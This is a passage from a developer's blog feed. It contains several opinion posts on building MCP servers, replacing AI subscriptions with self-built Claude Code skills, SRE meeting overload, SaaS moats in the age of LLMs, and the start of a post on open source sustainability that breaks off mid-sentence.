can&#8217;t reason about.</strong> Tools that return raw JSON blobs, HTML, or binary data are tools Claude struggles to use. Claude works in text. If your tool returns <code>{"data": [{"id": 1, "val": "foo"}, ...]}</code>, Claude has to parse that before it can think about it. If your tool returns &#8220;Found 3 orders: Order #1001 (shipped Jan 15), Order #1002 (pending), Order #1003 (refunded)&#8221;, Claude can work with that directly. Format your output for a reader, not a parser.</p><p><strong>4. Uninstallable.</strong> Most MCP servers have no README. No install instructions. No example config. No explanation of what environment variables they need. Even if someone finds your server on GitHub, if they can&#8217;t get it running in ten minutes, they close the tab. You will never hear from them again. Distribution is half the product.</p><p><strong>5. Solving a problem only you have.</strong> This one is uncomfortable because it&#8217;s often true. The research tool you built for your specific workflow, against your specific internal data structure, with your specific edge cases handled &#8212; it&#8217;s not a product, it&#8217;s a script. That&#8217;s fine. But don&#8217;t confuse it for something others will install. The MCP servers that spread are the ones that solve problems many developers have, in a way that requires no customization to be useful out of the box.</p><h2><strong>What Actually Works</strong></h2><p>The servers that get used share a few traits.</p><p>They have narrow scope with deep utility. Not &#8220;do 20 things mediocrely&#8221; but &#8220;do one thing so well you&#8217;d miss it if it was gone.&#8221; A good example: a server that searches Hacker News. One tool, one job &#8212; search HN, return results with scores and comment counts, formatted so Claude can reason about it immediately. That&#8217;s enough. That&#8217;s a server people actually keep installed.</p><p>They treat descriptions as product copy. Not documentation &#8212; copy. The description is the first thing Claude reads and the primary factor in whether your tool gets called. Write it for Claude the way you&#8217;d write an app store listing: what does this do, when do you need it, what does success look like.</p><p>They fail gracefully and informatively. When something goes wrong, a good tool returns &#8220;No results found for &#8216;X&#8217;. Try a broader search term.&#8221; A bad tool raises an exception. Claude can work with the first one. It can only apologize for the second.</p><p>They&#8217;re easy to install. One command. One config block. Clear documentation for what environment variables are needed and what they do. If setup takes more than five minutes, most people won&#8217;t finish.</p><h2><strong>The Gap This Creates</strong></h2><p>Right now, MCP is early. Most servers are weekend experiments. The production-quality servers &#8212; narrow scope, excellent descriptions, graceful error handling, easy installation &#8212; are rare.</p><p>That gap is an opportunity. A well-built MCP server that solves a real developer problem and is easy to install can spread through Claude Code users the same way good VS Code extensions did: by word of mouth, by being genuinely useful, by being the thing you&#8217;d mention in a conversation when someone complains about the problem you solved.</p><p>The window isn&#8217;t permanent. In six months, there will be a lot more competition. Right now, the bar is low enough that &#8220;works reliably and has a clear description&#8221; puts you in the top 10%.</p><p>That&#8217;s what I&#8217;m writing about in the MCP Cookbook &#8212; a practical guide to building production MCP servers for Claude Code. Not how to write an MCP server; the official docs cover that. How to write one that people actually use.</p><div><hr></div><p><em>I&#8217;m writing the MCP Cookbook &#8212; a practical guide to building production MCP servers for Claude Code. Real code, real patterns, real mistakes. Subscribers get early access when it&#8217;s ready. You&#8217;re already on the list.</em></p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://blog.lakshminp.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://blog.lakshminp.com/subscribe?"><span>Subscribe now</span></a></p><p></p>]]></content:encoded></item><item><title><![CDATA[While You Panic About AI Taking Jobs, I Built $200/Mo Tools]]></title><description><![CDATA[I eliminated $200/month in AI subscriptions by building Claude Code skills. Same AI, zero recurring cost. Here's what I built and how you can too.]]></description><link>https://blog.lakshminp.com/p/stop-paying-ai-wrappers</link><guid isPermaLink="false">https://blog.lakshminp.com/p/stop-paying-ai-wrappers</guid><dc:creator><![CDATA[Lakshmi Narasimhan]]></dc:creator><pubDate>Wed, 18 Feb 2026 06:09:29 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/2b76e2f6-9030-4f7f-b7b7-d337ddd23d4a_1024x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I was about to click &#8220;Subscribe: $29/month&#8221; on yet another AI content tool when I stopped.</p><p>Not because $29 was a lot. I&#8217;ve subscribed to worse. I have a graveyard of forgotten SaaS products auto-renewing somewhere in my credit card statement, silently draining money for tools I used exactly twice.</p><p>No, I stopped because I realized something embarrassing.</p><p>This tool was literally just a pretty wrapper around Claude. Same AI I already pay for. Same capabilities. They&#8217;d added a nice UI, a payment form, and approximately zero additional value.</p><p>I was about to pay $29/month to rent something I could build in an afternoon.</p><p>So I closed the tab. Opened Claude Code. And two hours later, I had my own version. No usage limits. No subscription. Mine forever.</p><p>That was six months ago. Since then, I&#8217;ve built six tools. I&#8217;ve eliminated $200/month in subscriptions. And I&#8217;ve realized something that changed how I think about this whole &#8220;AI is coming for your job&#8221; panic.</p><div><hr></div><p><em>Hey, I&#8217;m Lakshmi: I help developers build, deploy, and distribute their SaaS without hiring a team. I also run <a href="https://stacksweller.com/?utm_source=substack&amp;utm_medium=blog&amp;utm_campaign=intro_blurb">Stacksweller</a> and <a href="https://supabyoi.com/">Supabyoi</a>.</em></p><p><em>New here? Start with <a href="https://blog.lakshminp.com/p/ai-agent-memory-persistence">Why Your AI Wakes Up Every Morning With No Memory</a> or <a href="https://blog.lakshminp.com/p/clean-code-dead-clean-specs">Clean Code Is Dead</a>.</em></p><div><hr></div><h2><strong>Everyone&#8217;s Worried About the Wrong Thing</strong></h2><p>My LinkedIn feed is a horror show right now. Every other post is either &#8220;AI will take your job&#8221; or &#8220;Here&#8217;s how to survive the AI apocalypse&#8221; or some variation of &#8220;the robots are coming, repent.&#8221;</p><p>The advice is always the same. Learn to prompt. Adapt or die. Get your finances in order because disruption is coming.</p><p>Maybe it is. I don&#8217;t know the future any better than you do.</p><p>But here&#8217;s what I do know: while everyone&#8217;s stockpiling survival advice, I&#8217;ve been using those same AI tools to eliminate $200/month in software subscriptions. Tools I was paying for six months ago? I own them now. Forever. Zero recurring cost.</p><p>Same technology. Completely different mindset.</p><p>Let me show you what I mean.</p><h2><strong>The Batch PDF Processor I Built Instead of Uploading 50 Files</strong></h2><p>I had 50 research papers to process. Extract abstracts, pull out key findings, grab any data tables, save everything as searchable markdown.</p><p>Sure, Claude can read a PDF. One at a time. Upload, wait, copy the output, upload the next one, repeat 49 more times.</p><p>Old me would&#8217;ve done exactly that. Or Googled &#8220;batch PDF extraction tool,&#8221; found something that charges per page, done the math, decided it wasn&#8217;t worth it, and then manually uploaded 50 files anyway.</p><p>New me? I built a script.</p><p>Ninety minutes later, I had a skill that loops through a folder, extracts text and tables from each PDF using PyMuPDF, summarizes each one, and saves structured markdown files. Point it at a folder, go make coffee, come back to 50 organized summaries.</p><pre><code><code>&gt; Process all PDFs in ~/research/papers
[loops through 50 files]
[extracts + summarizes each]
[saves to ~/research/summaries/]</code></code></pre><p>No uploading files one by one. No copy-paste marathon. No usage limits. Runs locally, so nothing leaves my machine.</p><p>The tool isn&#8217;t &#8220;PDF extraction&#8221;: Claude already does that. The tool is <em>automation</em>. Batch processing. The boring plumbing that turns a manual 3-hour task into a 5-minute one.</p><h2><strong>The Video Transcription Pipeline That Changed How I Learn</strong></h2><p>I&#8217;m an infoproduct junkie. Courses, masterclasses, workshops: if someone&#8217;s selling knowledge in video form, I&#8217;ve probably bought it. My Teachable and Gumroad purchase history is embarrassing. Hours and hours of content sitting in various dashboards, waiting to be watched.</p><p>Old me would take notes while watching. Pause, scribble, play, pause, scribble. Retain maybe 30% of it. Forget the rest within a week.</p><p>New me? I feed the videos to my video-distill skill. It transcribes everything with Whisper, distills it into readable chapters with Claude, and exports to EPUB.</p><p>Two hours of course video becomes a 12,000-word mini-book on my Kindle that I can search, highlight, and reference forever.</p><p>Build time: 2 hours.</p><p>Previous cost: $50-200 per course for transcription services (or just... not having transcripts and forgetting everything).</p><p>The ROI on courses went from &#8220;eh, probably worth it&#8221; to &#8220;this is a no-brainer.&#8221;</p><h2><strong>The Pattern Nobody Wants to Admit</strong></h2><p>Here&#8217;s what I noticed while building these:</p><p><strong>Every AI SaaS is a thin wrapper around the same AI you already have access to.</strong></p><ul><li><p>Batch file processing? A loop + Claude.</p></li><li><p>Video transcription? Whisper + Claude.</p></li><li><p>Content research? Web fetch + Claude.</p></li><li><p>Cross-posting? Template formatting + Claude.</p></li><li><p>Writing assistant? Prompt engineering + Claude.</p></li></ul><p>The &#8220;product&#8221; is convenience packaging. A nice UI, hosting, a payment gateway, customer support. Sometimes that&#8217;s worth paying for.</p><p>But most of the time? You can build 80% of what you need in under two hours.</p><p>I&#8217;ve done this six times now. Total build time: about 14 hours. One weekend, spread across a few months.</p><p>Total monthly savings: $199.</p><p>Total annual savings: $2,388.</p><p>Tools I now own forever: 6.</p><h2><strong>The Real Question Nobody&#8217;s Asking</strong></h2><p>While everyone argues about whether AI will take their job, here&#8217;s what I&#8217;m thinking:</p><p><strong>It&#8217;s not AI vs humans. It&#8217;s humans with AI vs humans without.</strong></p><p>The lawyer who refuses to use AI for contract review loses to the lawyer who uses it and handles 5x more clients.</p><p>The developer who doesn&#8217;t use AI for code generation loses to the developer who does and ships features in days instead of weeks.</p><p>The writer who thinks AI is &#8220;cheating&#8221; loses to the writer who uses it for research and drafts 10x more content.</p><p>The people who lose their jobs to AI won&#8217;t be the ones whose work AI can theoretically do.</p><p>They&#8217;ll be the ones who <em>didn&#8217;t use AI</em> and got outpaced by someone who did.</p><h2><strong>What I Actually Do Instead of Panicking</strong></h2><p>I audit my subscriptions. Every few months, I go through my recurring charges and ask: &#8220;Is this just an AI wrapper?&#8221;</p><p>If yes, I build a replacement. If the replacement covers 80% of my use cases, I cancel the subscription.</p><p>Here&#8217;s my current hit list:</p><ul><li><p><strong>Batch PDF processing</strong>: replaced manual uploads with pdf-reader skill (90 min)</p></li><li><p><strong>Video transcription</strong>: replaced $50-200/course services with video-distill skill (2 hours)</p></li><li><p><strong>Ebook formatting</strong>: replaced $30/book services with epub-builder skill (1 hour)</p></li><li><p><strong>Content research</strong>: replaced $29/mo tools with compose skill (3 hours)</p></li><li><p><strong>Cross-posting</strong>: replaced $50/mo tools with distribute skill (2 hours)</p></li><li><p><strong>Writing assistant</strong>: replaced $20/mo Sudowrite etc with fiction-writer skill (4 hours)</p></li></ul><p>Not everything is worth building. QuickBooks? Keep paying. Complex Zapier automation with 50 integrations? Probably keep paying. Hosted databases? Definitely keep paying.</p><p>But simple AI wrappers that just call Claude with a prompt and charge you monthly for it? Those are dying. You can own that.</p><h2><strong>This Is What Leverage Actually Looks Like</strong></h2><p>When you own your tools, you can modify them to fit your exact workflow. Combine them in ways SaaS products can&#8217;t. Build competitive advantages nobody else has.</p><p>My <code>distribute</code> skill cross-posts to five platforms in one command. Most people manually post to each: different formatting, different copy, different everything. That&#8217;s 30 minutes per post. I do it in 2 minutes.</p><p>Over a year, that&#8217;s 50+ hours saved. For one skill.</p><p>My <code>video-distill</code> skill turns courses into searchable mini-books. Most people watch courses once and forget 80% of it. I have permanent reference material I can search and review anytime.</p><p>This is how one-person operations beat ten-person teams. Not by working harder. By owning tools that make you 10x faster.</p><h2><strong>Two Paths</strong></h2><p>The AI revolution is here. Not coming. Here.</p><p><strong>Path A:</strong> Read about how AI is going to disrupt your career. Worry about it. Prepare for the worst. Maybe it happens, maybe it doesn&#8217;t. Either way, you spent months anxious instead of building.</p><p><strong>Path B:</strong> Use AI to eliminate expenses, build tools, ship faster, own your stack. If disruption comes, you&#8217;re already leveraged. If it doesn&#8217;t, you still saved $2,400/year and got 10x faster.</p><p>I&#8217;m on Path B.</p><p>I built six skills in 14 hours. I save $200/month. I own tools that do exactly what I need, with no usage limits, no pricing tiers, and no risk of some startup getting acqui-hired and shutting down my workflow.</p><p>And I&#8217;m shipping four SaaS products while working two day jobs, because I have the leverage to do it.</p><p>You can panic, or you can build.</p><p>I&#8217;m building.</p><h2><strong>If You Want to Start</strong></h2><p>Here&#8217;s the playbook I use every time.</p><h3><strong>Step 1: Pick Your Target</strong></h3><p>Start with something you use weekly but don&#8217;t need enterprise features for. The sweet spot is tools where you&#8217;re paying for convenience, not capability.</p><p><strong>Good first targets:</strong></p><ul><li><p>Batch processing workflows (loop through files, process each, save outputs)</p></li><li><p>Video/audio transcription (Whisper is free and runs locally)</p></li><li><p>Content research and brainstorming (web scraping + Claude)</p></li><li><p>Grammar/style checking (Claude prompts replace Grammarly)</p></li><li><p>Format conversion pipelines (markdown &#8594; EPUB, video &#8594; transcript &#8594; summary)</p></li></ul><p><strong>Bad first targets:</strong></p><ul><li><p>Accounting software (compliance, integrations, audit trails)</p></li><li><p>Complex multi-step automation with 20+ triggers</p></li><li><p>Anything requiring hosted infrastructure you don&#8217;t want to manage</p></li><li><p>Real-time collaboration tools (Google Docs, Figma)</p></li></ul><h3><strong>Step 2: Describe the Workflow, Not the Tool</strong></h3><p>Don&#8217;t say &#8220;build me a transcription tool.&#8221; Say &#8220;I have 20 course videos. I want to transcribe each one, distill the key points, and save them as markdown files organized by chapter.&#8221;</p><p>The more specific you are about your <em>actual workflow</em>, the better the tool fits. You&#8217;re not building a generic SaaS: you&#8217;re building exactly what you need.</p><h3><strong>Step 3: Start Ugly, Iterate Fast</strong></h3><p>Your first version will be rough. That&#8217;s fine.</p><p>My video transcription pipeline started as a janky script that choked on long files. I fixed the edge cases as I hit them. Now it handles 3-hour lectures without breaking a sweat.</p><p>Don&#8217;t try to build the polished SaaS version. Build the &#8220;works for my specific use case&#8221; version. That takes 90 minutes, not 90 days.</p><h3><strong>Step 4: The 80% Test</strong></h3><p>Run your homegrown tool alongside the paid one for 30 days. Track when you reach for the paid tool instead.</p><p>If your skill handles 80% of cases, cancel the subscription. The remaining 20%? Either iterate on your skill or accept the occasional manual workaround.</p><p>Perfect is the enemy of $X/month forever.</p><h3><strong>Step 5: Compound It</strong></h3><p>Once you&#8217;ve built one, you&#8217;ll notice patterns. The same techniques: file handling, API calls, text processing, output formatting: show up everywhere.</p><p>Your second skill takes half the time. Your fifth takes 20 minutes.</p><p>This is how you end up owning your entire stack without spending months building it.</p><h3><strong>The Prompt That Starts Everything</strong></h3><p>If you&#8217;re using Claude Code or similar:</p><pre><code><code>I want to build a tool that [specific workflow].
I currently do this by [current manual process or paid tool].
My input is [what you're working with].
I want the output to be [format and destination].
What's the simplest way to build this?</code></code></pre><p>Then iterate. The AI will ask clarifying questions, suggest approaches, write code. You test, refine, test again.</p><p>Two hours later, you own something you would&#8217;ve rented forever.</p><div class="pullquote"><p>The people who win the next decade won&#8217;t be the ones who worried about AI disruption.</p><p>They&#8217;ll be the ones who used AI to build tools, eliminate costs, and move faster than everyone else.</p><p>Don&#8217;t rent your stack. Own it.</p></div><p><em>P.S.: The AI wrapper economy is dying. Every &#8220;AI-powered&#8221; tool that&#8217;s just a UI around Claude or GPT is on borrowed time. The moment users realize they can build 80% of that themselves, the subscription revenue evaporates. If you&#8217;re building an AI SaaS, make sure your value is in the 20% that can&#8217;t be replicated in two hours.</em></p>]]></content:encoded></item><item><title><![CDATA[How to Escape the SRE Meeting-Industrial Complex]]></title><description><![CDATA[How to reclaim your brain from the meeting-industrial complex]]></description><link>https://blog.lakshminp.com/p/sre-meeting-overload</link><guid isPermaLink="false">https://blog.lakshminp.com/p/sre-meeting-overload</guid><dc:creator><![CDATA[Lakshmi Narasimhan]]></dc:creator><pubDate>Wed, 11 Feb 2026 15:46:25 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/8ae58174-b768-44d1-b0d3-b8eed7f65140_1536x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Monday morning. I opened Slack at 8:30. By 8:47 I had four meeting invites: a standup, a sync, a pre-mortem for a system that hasn&#8217;t broken yet, and a &#8220;quick alignment call&#8221; about the alignment call we had on Friday.</p><p>By 11am I&#8217;d spent two and a half hours talking about reliability. I&#8217;d spent zero hours improving it.</p><p>Someone on r/devops posted this week: &#8220;My team should be renamed to TalkOps.&#8221; Ninety-nine percent upvote ratio. Every SRE on the planet felt that in their chest.</p><div><hr></div><p><em>Hey, I&#8217;m Lakshmi &#8212; I help developers build, deploy, and distribute their SaaS without hiring a team. I also run <a href="https://stacksweller.com/?utm_source=substack&amp;utm_medium=blog&amp;utm_campaign=intro_blurb">Stacksweller</a> and <a href="https://supabyoi.com/">Supabyoi</a>.</em></p><p><em>New here? Start with <a href="https://blog.lakshminp.com/p/ai-agent-memory-persistence">Why Your AI Wakes Up Every Morning With No Memory</a> or <a href="https://blog.lakshminp.com/p/clean-code-dead-clean-specs">Clean Code Is Dead</a>.</em></p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://blog.lakshminp.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://blog.lakshminp.com/subscribe?"><span>Subscribe now</span></a></p><div><hr></div><h2><strong>The Meeting-Industrial Complex</strong></h2><p>Here&#8217;s what happens in platform engineering and SRE orgs at scale. The work is invisible. Nobody sees the deployment pipeline until it breaks. Nobody notices the monitoring until it doesn&#8217;t fire. The only proof that your team exists is... meetings.</p><p>So meetings multiply. Not because they&#8217;re useful, but because they&#8217;re visible. Your manager needs to justify headcount. Your team needs to &#8220;align&#8221; with five other teams. Every incident spawns a post-mortem, every post-mortem spawns action items, every action item spawns a planning meeting, and the planning meeting spawns a follow-up sync to check on the action items from the post-mortem about the incident that happened because nobody had time to do deep work because they were in too many meetings.</p><p>The recursion is beautiful, in a terrible way.</p><h2><strong>Deep Work Is the Actual Product</strong></h2><p>I&#8217;ve been a Principal SRE for long enough to have an opinion that would get me in trouble at most companies: <strong>most reliability improvements happen in 2-hour blocks of uninterrupted focus, not in 30-minute standups.</strong></p><p>The monitoring rule that catches the subtle memory leak? That took a quiet afternoon staring at Grafana dashboards. The deployment pipeline fix that cut rollback time from 20 minutes to 90 seconds? That was a Saturday morning when Slack was silent.</p><p>The real work &#8212; the stuff that actually moves your error budget in the right direction &#8212; requires the kind of concentration that evaporates the instant someone says &#8220;can I get 15 minutes?&#8221;</p><p>Fifteen minutes is never fifteen minutes. It&#8217;s five minutes of context-switching in, fifteen minutes of meeting, and thirty minutes of trying to remember what you were doing before the meeting. That&#8217;s fifty minutes gone for fifteen minutes of &#8220;alignment.&#8221;</p><h2><strong>The Side Project Tax</strong></h2><p>Here&#8217;s where it gets personal. If you&#8217;re an SRE who also builds on the side &#8212; SaaS, open source, writing, whatever &#8212; the meeting-industrial complex doesn&#8217;t just eat your work day. It eats your creative energy.</p><p>I leave my day job some days having produced nothing but words. Spoken words. Words in Zoom calls. Words in Slack threads about Zoom calls. By the time I sit down to work on my own projects, my brain is cooked.</p><p>Not tired-from-solving-hard-problems cooked. Tired-from-performing-productivity cooked. There&#8217;s a difference. One is the good kind of exhaustion. The other is the kind where you stare at your side project and think &#8220;I&#8217;ll just do this tomorrow&#8221; for the 47th consecutive day.</p><p>The cruel irony: the skills that make you good at SRE &#8212; systems thinking, pattern recognition, automation instinct &#8212; are exactly the skills you need for building products. But TalkOps burns through your cognitive budget before you can apply those skills to anything that&#8217;s actually yours.</p><h2><strong>Fighting Back (Without Getting Fired)</strong></h2><p>You can&#8217;t just decline every meeting. I&#8217;ve tried. People notice. &#8220;Not a team player&#8221; shows up in your review. The trick is strategic visibility reduction.</p><h3><strong>1. The Async Post-Mortem</strong></h3><p>Most post-mortems don&#8217;t need a meeting. They need a document. Write the timeline, the root cause, the action items. Share it. Let people comment asynchronously. Reserve the live meeting for cases where there&#8217;s genuine disagreement about the fix.</p><p>I started doing this two years ago. Saved roughly 3 hours a week. Nobody complained. Several people thanked me.</p><h3><strong>2. The Office Hours Model</strong></h3><p>Instead of being available for &#8220;quick syncs&#8221; all day, block two hours for office hours. &#8220;Need my input? Come between 2-4pm Tuesday and Thursday.&#8221; Outside those hours, I&#8217;m heads-down. Slack messages get a response within 4 hours, not 4 minutes.</p><p>This feels rude until you realize that every senior engineer at a company like Google does exactly this. They just don&#8217;t announce it.</p><h3><strong>3. The 1-Page RFC</strong></h3><p>Half the planning meetings exist because nobody wrote down what they want to build. A 1-page RFC &#8212; problem, proposed solution, tradeoffs, timeline &#8212; kills 3 meetings. Write it before the meeting gets scheduled. Share it. Cancel the meeting. &#8220;I think the RFC covers it. Drop comments if anything&#8217;s unclear.&#8221;</p><h3><strong>4. Protect Your First 2 Hours</strong></h3><p>No meetings before 10:30. Not negotiable. Those first morning hours are when your brain is sharpest. Using them for standups is like using a surgical laser to heat soup.</p><p>If your standup is at 9am, that&#8217;s not a standup. That&#8217;s a productivity assassination. Push for async standups (Slack bots work fine) or at least move it to after lunch when everyone&#8217;s already in low-focus mode.</p><h3><strong>5. Make the Work Visible Without Meetings</strong></h3><p>The root cause of TalkOps is invisible work. Fix the visibility problem and you fix the meeting problem.</p><p>Weekly automated reports. Dashboards in shared channels. Monthly &#8220;here&#8217;s what platform eng shipped&#8221; newsletters. Make the work visible on your terms, in your format, on your schedule. If people can see what you&#8217;re doing, they stop scheduling meetings to ask.</p><h2><strong>The Real Output</strong></h2><p>Every hour you reclaim from TalkOps is an hour you can spend on actual reliability work. Or actual side project work. Or actual thinking, which is the scarcest resource in any engineering organization.</p><p>The r/devops thread had a comment that stuck with me: &#8220;By the time I get a quiet hour, I&#8217;m already drained.&#8221;</p><p>That&#8217;s not a scheduling problem. That&#8217;s a systems problem. And if there&#8217;s one thing SREs should be good at, it&#8217;s fixing systems.</p><p>Start with your own calendar.</p>]]></content:encoded></item><item><title><![CDATA[The Real SaaS Moat AI Can't Replicate]]></title><description><![CDATA[SaaS moats were never about code &#8212; they were about standing between users and git. LLMs do the same thing for free. Here's what actually survives.]]></description><link>https://blog.lakshminp.com/p/ai-saas-moat-exposed</link><guid isPermaLink="false">https://blog.lakshminp.com/p/ai-saas-moat-exposed</guid><dc:creator><![CDATA[Lakshmi Narasimhan]]></dc:creator><pubDate>Mon, 09 Feb 2026 14:00:53 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/cc06e99e-351a-478f-9577-8878ee4a694c_1536x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>There&#8217;s a comment buried 14 levels deep in <a href="https://news.ycombinator.com/item?id=46888441">this Hacker News thread about AI killing B2B SaaS</a>. It has 37 upvotes and it&#8217;s the smartest thing I&#8217;ve read this year.</p><p>Here it is, paraphrased: &#8220;The real innovation of SaaS was laundering inaccessible open-source software into a format that doesn&#8217;t require transiting git. The hard part was never the code. The hard part was that git sucks.&#8221;</p><p>I laughed. Then I stopped laughing because it&#8217;s devastatingly correct.</p><div><hr></div><p><em>Hey, I&#8217;m Lakshmi &#8212; I help developers build, deploy, and distribute their SaaS without hiring a team. I also run <a href="https://stacksweller.com/?utm_source=substack&amp;utm_medium=blog&amp;utm_campaign=intro_blurb">Stacksweller</a> and <a href="https://supabyoi.com/">Supabyoi</a>.</em></p><p><em>New here? Start with <a href="https://lakshminp.substack.com/p/why-your-ai-wakes-up-every-morning">Why Your AI Wakes Up Every Morning With No Memory</a> or <a href="https://lakshminp.substack.com/p/clean-code-is-dead-long-live-clean">Clean Code Is Dead</a>.</em></p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://blog.lakshminp.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://blog.lakshminp.com/subscribe?"><span>Subscribe now</span></a></p><div><hr></div><h3><strong>The Git Laundering Machine</strong></h3><p>Think about the most profitable SaaS businesses in technology. Seriously, list them.</p><p>AWS? That&#8217;s Linux, KVM, and Xen behind a billing dashboard. Heroku was git-push-to-deploy because deploying was too hard. Vercel is the same thing for Next.js. MongoDB Atlas is MongoDB without the ops. Redis Cloud is Redis without the YAML. Supabase is Postgres without the DBA.</p><p>Every single one of them is a factory that converts something freely available on GitHub into something you can pay for on a website.</p><p>The commenter was right. These companies didn&#8217;t build moats with proprietary technology. They built moats by standing between users and git. Their value proposition, stripped to the studs, is: &#8220;You don&#8217;t have to clone a repo.&#8221;</p><p>That&#8217;s a $500 billion industry built on the fact that <code>git clone</code> is scary.</p><h3><strong>LLMs Just Killed the Middleman</strong></h3><p>Here&#8217;s where the &#8220;AI is killing SaaS&#8221; thesis gets real.</p><p>When a CTO says &#8220;can we build this internally?&#8221;, the old answer was: &#8220;Technically yes, but you&#8217;d need 3 engineers, 6 months, and ongoing maintenance. Just buy the SaaS.&#8221;</p><p>The new answer: &#8220;ChatGPT set it up in 20 minutes. It reads from the same open-source code the SaaS vendor uses. It runs on our infrastructure. There&#8217;s no monthly bill.&#8221;</p><p>LLMs do exactly what SaaS companies do &#8212; they take inaccessible open-source software and make it usable by normal humans. They just skip the subscription.</p><p>The git laundering machine now has competition. And the competitor works for free.</p><h3><strong>What Actually Survives</strong></h3><p>So is B2B SaaS dead? No. But the moat map just got redrawn.</p><p>Here&#8217;s what doesn&#8217;t survive: <strong>any SaaS whose primary value is &#8220;we set it up so you don&#8217;t have to.&#8221;</strong> Deployment wrappers, config GUIs, managed hosting for commodity databases &#8212; all of this is getting compressed.</p><p>An HN commenter who manages teams put it bluntly: &#8220;Management doesn&#8217;t want to be responsible for bespoke internal tools.&#8221; That&#8217;s real. But it&#8217;s a shrinking moat. Today&#8217;s management doesn&#8217;t want to be responsible. Tomorrow&#8217;s management grew up with ChatGPT and doesn&#8217;t see internal tooling as risky.</p><p>Here&#8217;s what survives:</p><p><strong>Data.</strong> If your SaaS accumulates proprietary data over time &#8212; customer behavior patterns, industry benchmarks, network effects &#8212; that&#8217;s a moat AI can&#8217;t replicate. A new LLM-generated tool starts with zero data. Your SaaS has three years of it.</p><p><strong>Compliance and trust.</strong> SOC 2, HIPAA, GDPR certification takes time and money. &#8220;ChatGPT built it&#8221; doesn&#8217;t pass an enterprise security audit. Yet.</p><p><strong>Workflow lock-in.</strong> Not the software itself, but the habits. Slack isn&#8217;t hard to replace technically. It&#8217;s hard to replace because your whole company&#8217;s muscle memory lives there.</p><p><strong>Network effects.</strong> Figma isn&#8217;t valuable because of the rendering engine. It&#8217;s valuable because your designers, developers, and product managers are all in the same file. That&#8217;s a moat no amount of vibe coding can replicate.</p><p><strong>The specification itself.</strong> Here&#8217;s the contrarian take within the contrarian take: as code becomes commodity, the spec becomes the product. The companies that survive aren&#8217;t the ones that write the best code. They&#8217;re the ones that understand the problem deeply enough to specify what &#8220;right&#8221; looks like. Everyone else is just a GPT wrapper with a landing page.</p><h3><strong>The Indie SaaS Playbook Changes</strong></h3><p>If you&#8217;re building SaaS solo &#8212; and if you&#8217;re reading this newsletter, you probably are &#8212; the implications are brutal and clear.</p><p><em>Full disclosure: I built a product that does exactly this. <a href="https://supabyoi.com/">Supabyoi</a> deploys Supabase for you. By my own thesis, that&#8217;s a shrinking moat. I&#8217;m writing this post partly because I&#8217;m living the question: evolve or get compressed.</em></p><p><strong>Stop building tools. Start building data flywheels.</strong></p><p>A CRUD app with a nice UI is now a weekend project for anyone with ChatGPT. A system that gets smarter with every user interaction is still a real business.</p><p><strong>Stop selling setup. Start selling ongoing value.</strong></p><p>&#8220;We deploy Postgres for you&#8221; is dying. &#8220;We analyze your Postgres performance patterns across 10,000 databases and tell you what&#8217;s about to break&#8221; is thriving.</p><p><strong>Stop competing on features. Start competing on understanding.</strong></p><p>The SaaS products that survive AI commodification will be the ones that understand their customers&#8217; problems better than a general-purpose LLM ever could. Domain expertise is the last moat.</p><h3><strong>The $500 Billion Question</strong></h3><p>The HN thread devolved into the usual &#8220;AI is overhyped&#8221; vs. &#8220;AI changes everything&#8221; tribal warfare. But that one comment, buried 14 levels deep, cut through all of it.</p><p>The SaaS moat was never the software. It was the fact that software was hard to access. That moat is evaporating.</p><p>What&#8217;s left is data, trust, network effects, and deep domain understanding.</p><p>Build your SaaS around those. Or enjoy competing with a free chatbot.</p>]]></content:encoded></item><item><title><![CDATA[Open Source Is Starving While AI Makes Coding Free]]></title><description><![CDATA[The Open Source Crisis Nobody's Talking About]]></description><link>https://blog.lakshminp.com/p/open-source-ai-coding-crisis</link><guid isPermaLink="false">https://blog.lakshminp.com/p/open-source-ai-coding-crisis</guid><dc:creator><![CDATA[Lakshmi Narasimhan]]></dc:creator><pubDate>Tue, 03 Feb 2026 12:42:04 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/c7469c4d-9b83-4c4d-b901-fc6193b5c9b1_1024x1536.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Developer costs are plummeting toward zero. AI coding agents can scaffold an app in minutes. A solo founder with Claude can ship what used to take a team of five.</p><p>And yet, open source is in crisis.</p><p>Maintainers are burning out at record rates. Critical infrastructure projects survive on the goodwill of one or two exhausted volunteers. The xz backdoor wasn&#8217;t an anomaly &#8212; it was a symptom of a system running on fumes. The &#8220;one random person in Nebraska&#8221; meme stopped being funny years ago.</p><p>We have the cheapest labor in the history of software, and the projects that hold up the internet are still starving for contributors.</p><p>How?</p><div><hr></div><p><em>Hey, I&#8217;m Lakshmi &#8212; a Principal SRE building SaaS products on the side. I write about what actually works when you&#8217;re shipping solo.</em></p><p><em>New here? Start with <a href="https://lakshminp.substack.com/p/why-your-ai-wakes-up-every-morning">Why Your AI Wakes Up Every Morning With No Memory</a> or <a href="https://lakshminp.substack.com/p/clean-code-is-dead-long-live-clean">Clean Code Is Dead</a>.</em></p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://blog.lakshminp.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://blog.lakshminp.com/subscribe?"><span>Subscribe now</span></a></p><div><hr></div><h2><strong>The Founding Myth</strong></h2><p>In 1997, Eric Raymond published <em>The Cathedral and the 